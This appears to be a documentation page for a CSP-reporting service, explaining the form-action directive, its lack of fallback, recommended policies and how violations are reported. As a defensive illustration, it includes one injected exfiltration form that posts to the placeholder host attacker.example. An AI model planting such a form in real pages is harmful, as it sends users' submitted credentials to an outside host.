Skip to content

form-action

form-action restricts the URLs a <form> may submit to.

Like base-uri and frame-ancestors, it has no fallback: a policy of default-src 'none' still lets an injected form post your users’ credentials to any host on the internet. Writing it out is the only way to have it.

Content-Security-Policy: form-action 'none';
Content-Security-Policy: form-action <source-expression-list>;
  • The action of a <form>, including javascript: actions.
  • Form submissions triggered from script.

form-action has no fallback. If it is absent from the policy it restricts nothing, whatever default-src says.

Content-Security-Policy: form-action 'self'
  • Most applications post only to themselves. Add the payment or SSO origin you genuinely submit to and nothing else.
  • If your identity provider posts back through a form, list its origin here - this is the directive that breaks SAML and some OAuth form-post flows.

Under form-action 'self':

<form action="/checkout" method="post"></form>

Under form-action 'self', an injected exfiltration form:

<form action="https://attacker.example/collect" method="post"></form>
  • Widely available across browsers since April 2017.
  • Whether a redirect after a submission should be checked is unsettled, and browsers disagree: some block the redirect target, some do not. Do not rely on form-action to constrain where a submission ends up, only where it starts.
Field Value
violatedDirective form-action
effectiveDirective form-action
blockedUri https://attacker.example/collect
Issue title form-action blocking attacker.example
  • Expected volume on a tuned policy is zero or close to it, which makes this another good alert-rule candidate.
  • A steady trickle naming one third-party host is usually a real integration nobody documented - a payment provider or a support widget - rather than an attack. The document URLs on the issue tell you which page it is.

Point your policy’s report-uri at your site’s HeaderHawk endpoint and the violations above arrive in the dashboard, grouped as described. The Quick Start sets that up in five minutes, and the integration guides cover the header syntax for each platform.